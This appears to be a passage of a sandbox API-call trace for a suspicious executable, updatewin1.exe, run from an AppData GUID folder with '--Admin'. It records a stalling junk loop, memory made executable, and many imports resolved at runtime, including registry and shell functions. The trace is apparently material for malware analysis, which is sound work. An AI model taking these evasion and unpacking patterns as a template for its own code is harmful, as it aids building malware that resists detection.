GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.278] AddAtomA (lpString=0x0) returned 0x0 [0056.278] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.278] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.278] AddAtomA (lpString=0x0) returned 0x0 [0056.278] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.278] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.278] AddAtomA (lpString=0x0) returned 0x0 [0056.278] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.278] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.278] AddAtomA (lpString=0x0) returned 0x0 [0056.278] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.278] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.278] AddAtomA (lpString=0x0) returned 0x0 [0056.278] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.278] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.278] AddAtomA (lpString=0x0) returned 0x0 [0056.278] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.278] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.278] AddAtomA (lpString=0x0) returned 0x0 [0056.278] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.278] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.278] AddAtomA (lpString=0x0) returned 0x0 [0056.278] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.278] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.278] AddAtomA (lpString=0x0) returned 0x0 [0056.278] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.278] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.278] AddAtomA (lpString=0x0) returned 0x0 [0056.279] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.279] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.279] AddAtomA (lpString=0x0) returned 0x0 [0056.279] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.279] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.279] AddAtomA (lpString=0x0) returned 0x0 [0056.279] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.279] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.279] AddAtomA (lpString=0x0) returned 0x0 [0056.279] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.279] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.279] AddAtomA (lpString=0x0) returned 0x0 [0056.279] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.279] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.279] AddAtomA (lpString=0x0) returned 0x0 [0056.279] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.279] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.279] AddAtomA (lpString=0x0) returned 0x0 [0056.279] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.279] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.279] AddAtomA (lpString=0x0) returned 0x0 [0056.279] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.279] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.279] AddAtomA (lpString=0x0) returned 0x0 [0056.279] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.279] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.279] AddAtomA (lpString=0x0) returned 0x0 [0056.279] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.279] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.279] AddAtomA (lpString=0x0) returned 0x0 [0056.279] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.279] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.280] AddAtomA (lpString=0x0) returned 0x0 [0056.280] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.280] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.280] AddAtomA (lpString=0x0) returned 0x0 [0056.280] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.280] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.280] AddAtomA (lpString=0x0) returned 0x0 [0056.280] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.280] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.280] AddAtomA (lpString=0x0) returned 0x0 [0056.280] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0056.280] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x51 [0056.634] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0056.634] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualAlloc") returned 0x76c31856 [0056.634] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualProtect") returned 0x76c3435f [0056.634] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualFree") returned 0x76c3186e [0056.634] GetProcAddress (hModule=0x76c20000, lpProcName="GetVersionExA") returned 0x76c33519 [0056.634] GetProcAddress (hModule=0x76c20000, lpProcName="TerminateProcess") returned 0x76c4d802 [0056.635] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0056.635] GetProcAddress (hModule=0x76c20000, lpProcName="SetErrorMode") returned 0x76c31b00 [0056.635] SetErrorMode (uMode=0x400) returned 0x0 [0056.635] SetErrorMode (uMode=0x0) returned 0x400 [0056.635] GetVersionExA (in: lpVersionInformation=0x18e550*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x65006564, dwMinorVersion=0x7373, dwBuildNumber=0x2, dwPlatformId=0xffffffff, szCSDVersion="s}\x16w") | out: lpVersionInformation=0x18e550*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0056.635] VirtualAlloc (lpAddress=0x0, dwSize=0x2d200, flAllocationType=0x1000, flProtect=0x4) returned 0x210000 [0056.641] VirtualProtect (in: lpAddress=0x400000, dwSize=0x32000, flNewProtect=0x40, lpflOldProtect=0x18f5d8 | out: lpflOldProtect=0x18f5d8*=0x2) returned 1 [0056.673] VirtualFree (lpAddress=0x210000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0056.674] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x76c20000 [0056.674] GetProcAddress (hModule=0x76c20000, lpProcName="CreateFileA") returned 0x76c353c6 [0056.674] GetProcAddress (hModule=0x76c20000, lpProcName="WriteFile") returned 0x76c31282 [0056.674] GetProcAddress (hModule=0x76c20000, lpProcName="FlushFileBuffers") returned 0x76c3469b [0056.674] GetProcAddress (hModule=0x76c20000, lpProcName="CloseHandle") returned 0x76c31410 [0056.674] GetProcAddress (hModule=0x76c20000, lpProcName="CreateProcessA") returned 0x76c31072 [0056.674] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcpyW") returned 0x76c53102 [0056.674] GetProcAddress (hModule=0x76c20000, lpProcName="CreateProcessW") returned 0x76c3103d [0056.674] GetProcAddress (hModule=0x76c20000, lpProcName="WaitForSingleObject") returned 0x76c31136 [0056.674] GetProcAddress (hModule=0x76c20000, lpProcName="CreateFileW") returned 0x76c33f5c [0056.674] GetProcAddress (hModule=0x76c20000, lpProcName="lstrlenA") returned 0x76c35a4b [0056.675] GetProcAddress (hModule=0x76c20000, lpProcName="WideCharToMultiByte") returned 0x76c3170d [0056.675] GetProcAddress (hModule=0x76c20000, lpProcName="MultiByteToWideChar") returned 0x76c3192e [0056.675] GetProcAddress (hModule=0x76c20000, lpProcName="GetCommandLineW") returned 0x76c35223 [0056.675] GetProcAddress (hModule=0x76c20000, lpProcName="WriteConsoleW") returned 0x76c57aca [0056.675] GetProcAddress (hModule=0x76c20000, lpProcName="SetFilePointerEx") returned 0x76c4c807 [0056.675] GetProcAddress (hModule=0x76c20000, lpProcName="GetConsoleMode") returned 0x76c31328 [0056.675] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteFileA") returned 0x76c35444 [0056.675] GetProcAddress (hModule=0x76c20000, lpProcName="HeapReAlloc") returned 0x77171f6e [0056.675] GetProcAddress (hModule=0x76c20000, lpProcName="HeapSize") returned 0x77163002 [0056.675] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcessHeap") returned 0x76c314e9 [0056.675] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringW") returned 0x76c317b9 [0056.675] GetProcAddress (hModule=0x76c20000, lpProcName="GetStringTypeW") returned 0x76c31946 [0056.675] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileType") returned 0x76c33531 [0056.675] GetProcAddress (hModule=0x76c20000, lpProcName="SetStdHandle") returned 0x76cb454f [0056.675] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcatA") returned 0x76c52b7a [0056.676] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcpyA") returned 0x76c52a9d [0056.676] GetProcAddress (hModule=0x76c20000, lpProcName="GetEnvironmentVariableA") returned 0x76c333a0 [0056.676] GetProcAddress (hModule=0x76c20000, lpProcName="GetShortPathNameA") returned 0x76c5594d [0056.676] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleFileNameA") returned 0x76c314b1 [0056.676] GetProcAddress (hModule=0x76c20000, lpProcName="GetConsoleCP") returned 0x76cd7bff [0056.676] GetProcAddress (hModule=0x76c20000, lpProcName="SetLastError") returned 0x76c311a9 [0056.676] GetProcAddress (hModule=0x76c20000, lpProcName="FreeEnvironmentStringsW") returned 0x76c351cb [0056.676] GetProcAddress (hModule=0x76c20000, lpProcName="GetEnvironmentStringsW") returned 0x76c351e3 [0056.676] GetProcAddress (hModule=0x76c20000, lpProcName="GetCommandLineA") returned 0x76c351a1 [0056.676] GetProcAddress (hModule=0x76c20000, lpProcName="GetCPInfo") returned 0x76c35189 [0056.676] GetProcAddress (hModule=0x76c20000, lpProcName="GetOEMCP") returned 0x76c5d1a1 [0056.676] GetProcAddress (hModule=0x76c20000, lpProcName="IsValidCodePage") returned 0x76c34493 [0056.676] GetProcAddress (hModule=0x76c20000, lpProcName="UnhandledExceptionFilter") returned 0x76c5772f [0056.676] GetProcAddress (hModule=0x76c20000, lpProcName="SetUnhandledExceptionFilter") returned 0x76c387c9 [0056.676] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcess") returned 0x76c31809 [0056.677] GetProcAddress (hModule=0x76c20000, lpProcName="TerminateProcess") returned 0x76c4d802 [0056.677] GetProcAddress (hModule=0x76c20000, lpProcName="IsProcessorFeaturePresent") returned 0x76c35235 [0056.677] GetProcAddress (hModule=0x76c20000, lpProcName="QueryPerformanceCounter") returned 0x76c31725 [0056.677] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcessId") returned 0x76c311f8 [0056.677] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentThreadId") returned 0x76c31450 [0056.677] GetProcAddress (hModule=0x76c20000, lpProcName="GetSystemTimeAsFileTime") returned 0x76c33509 [0056.677] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeSListHead") returned 0x771694a4 [0056.677] GetProcAddress (hModule=0x76c20000, lpProcName="IsDebuggerPresent") returned 0x76c34a5d [0056.677] GetProcAddress (hModule=0x76c20000, lpProcName="GetStartupInfoW") returned 0x76c34d40 [0056.677] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleW") returned 0x76c334b0 [0056.677] GetProcAddress (hModule=0x76c20000, lpProcName="RtlUnwind") returned 0x76c5d1c3 [0056.677] GetProcAddress (hModule=0x76c20000, lpProcName="RaiseException") returned 0x76c358a6 [0056.677] GetProcAddress (hModule=0x76c20000, lpProcName="GetLastError") returned 0x76c311c0 [0056.677] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0056.677] GetProcAddress (hModule=0x76c20000, lpProcName="EnterCriticalSection") returned 0x771522b0 [0056.678] GetProcAddress (hModule=0x76c20000, lpProcName="LeaveCriticalSection") returned 0x77152270 [0056.678] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteCriticalSection") returned 0x771645f5 [0056.678] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76c31916 [0056.678] GetProcAddress (hModule=0x76c20000, lpProcName="TlsAlloc") returned 0x76c349ad [0056.678] GetProcAddress (hModule=0x76c20000, lpProcName="TlsGetValue") returned 0x76c311e0 [0056.678] GetProcAddress (hModule=0x76c20000, lpProcName="TlsSetValue") returned 0x76c314fb [0056.678] GetProcAddress (hModule=0x76c20000, lpProcName="TlsFree") returned 0x76c33587 [0056.678] GetProcAddress (hModule=0x76c20000, lpProcName="FreeLibrary") returned 0x76c334c8 [0056.678] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcAddress") returned 0x76c31222 [0056.678] GetProcAddress (hModule=0x76c20000, lpProcName="LoadLibraryExW") returned 0x76c3495d [0056.678] GetProcAddress (hModule=0x76c20000, lpProcName="GetStdHandle") returned 0x76c351b3 [0056.678] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleFileNameW") returned 0x76c34950 [0056.678] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0056.678] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleExW") returned 0x76c34a6f [0056.678] GetProcAddress (hModule=0x76c20000, lpProcName="GetACP") returned 0x76c3179c [0056.679] GetProcAddress (hModule=0x76c20000, lpProcName="HeapAlloc") returned 0x7715e026 [0056.679] GetProcAddress (hModule=0x76c20000, lpProcName="HeapFree") returned 0x76c314c9 [0056.679] GetProcAddress (hModule=0x76c20000, lpProcName="FindClose") returned 0x76c34442 [0056.679] GetProcAddress (hModule=0x76c20000, lpProcName="FindFirstFileExW") returned 0x76c41811 [0056.679] GetProcAddress (hModule=0x76c20000, lpProcName="FindNextFileW") returned 0x76c354ee [0056.679] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0056.679] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x74d40000 [0056.679] GetProcAddress (hModule=0x74d40000, lpProcName="RegOpenKeyExW") returned 0x74d5468d [0056.679] GetProcAddress (hModule=0x74d40000, lpProcName="RegCloseKey") returned 0x74d5469d [0056.679] GetProcAddress (hModule=0x74d40000, lpProcName="RegCreateKeyExW") returned 0x74d540fe [0056.679] GetProcAddress (hModule=0x74d40000, lpProcName="SetSecurityDescriptorDacl") returned 0x74d5415e [0056.679] GetProcAddress (hModule=0x74d40000, lpProcName="InitializeSecurityDescriptor") returned 0x74d54620 [0056.679] GetProcAddress (hModule=0x74d40000, lpProcName="RegSetValueExW") returned 0x74d514d6 [0056.679] LoadLibraryA (lpLibFileName="SHELL32.dll") returned 0x75fd0000 [0056.680] GetProcAddress (hModule=0x75fd0000, lpProcName="ShellExecuteExW") returned 0x75ff1e46 [0056.680] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0056.680] GetProcAddress (hModule=0x75fd0000, lpProcName="CommandLineToArgvW") returned 0x75fe9ee8 [0056.680] LoadLibraryA (lpLibFileName="SHLWAPI.dll") returned 0x75340000 [0056.680] GetProcAddress (hModule=0x75340000, lpProcName="PathAppendW") returned 0x753581ef [0056.680] GetProcAddress (hModule=0x75340000, lpProcName="PathFileExistsA") returned 0x7537ad1a [0056.680] GetProcAddress (hModule=0x75340000, lpProcName="PathRemoveFileSpecW") returned 0x75353248 [0056.680] LoadLibraryA (lpLibFileName="msvcr100.dll") returned 0x749c0000 [0056.683] GetProcAddress (hModule=0x749c0000, lpProcName="atexit") returned 0x749dc544 [0056.684] atexit (param_1=0x5f63e0) returned 0 [0056.685] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18f5dc | out: lpSystemTimeAsFileTime=0x18f5dc*(dwLowDateTime=0x8f842160, dwHighDateTime=0x1d56c59)) [0056.685] GetCurrentThreadId () returned 0xb0c [0056.685] GetCurrentProcessId () returned 0xb08 [0056.685] QueryPerformanceCounter (in: lpPerformanceCount=0x18f5d4 | out: lpPerformanceCount=0x18f5d4*=17694500320) returned 1 [0056.694] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0056.695] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0056.695] GetLastError () returned 0x57 [0056.696] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0 [0056.696] GetLastError () returned 0x57 [0056.696] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x76c20000 [0056.696] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionEx") returned 0x76c34d28 [0056.696] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0056.696] GetLastError () returned 0x57 [0056.696] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0056.696] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0056.698] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0056.698] GetLastError () returned 0x57 [0056.698] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0 [0056.698] GetLastError () returned 0x57 [0056.698] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x76c20000 [0056.698] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionEx") returned 0x76c34d28 [0056.699] GetProcessHeap () returned 0x5e0000 [0056.699] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0056.699] GetLastError () returned 0x57 [0056.699] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0056.699] GetLastError () returned 0x57 [0056.699] GetProcAddress (hModule=0x76c20000, lpProcName="FlsGetValue") returned 0x76c31252 [0056.699] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0x364) returned 0x60a9f0 [0056.699] SetLastError (dwErrCode=0x57) [0056.700] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x8, Size=0xc00) returned 0x60ad60 [0056.701] GetStartupInfoW (in: lpStartupInfo=0x18f510 | out: lpStartupInfo=0x18f510*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d\\updatewin1.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x4033b0, hStdOutput=0x90a44df5, hStdError=0xfffffffe)) [0056.701] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0056.701] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0056.701] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0056.702] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d\\updatewin1.exe\" --Admin" [0056.702] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\16ec01a8-9cb0-4fd9-9d7a-ff79ab43a52d\\updatewin1.exe\" --Admin" [0056.702] IsValidCodePage (CodePage=0x4e4) returned 1 [0056.702] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f530 | out: lpCPInfo=0x18f530) returned 1 [0056.702] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18edf8 | out: lpCPInfo=0x18edf8) returned 1 [0056.702] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f40c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0056.702] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f40c, cbMultiByte=256, lpWideCharStr=0x18eb98, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0056.702] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18ee0c | out: lpCharType=0x18ee0c) returned 1 [0056.703] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f40c, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0056.703] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18f40c, cbMultiByte=256, lpWideCharStr=0x18eb48, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ굧@Ā") returned 256 [0056.703] LoadLibraryExW (lpLibFileName="api-ms-win-core-localization-l1-2-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0056.703] GetLastError () returned 0x57 [0056.703] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringEx") returned 0x76cb47f1 [0056.703] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ굧@Ā", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0056.703] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ굧@Ā", cchSrc=256, lpDestStr=0x18e938, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ") returned 256 [0056.703] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȈ", cchWideChar=256, lpMultiByteStr=0x18f30c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f 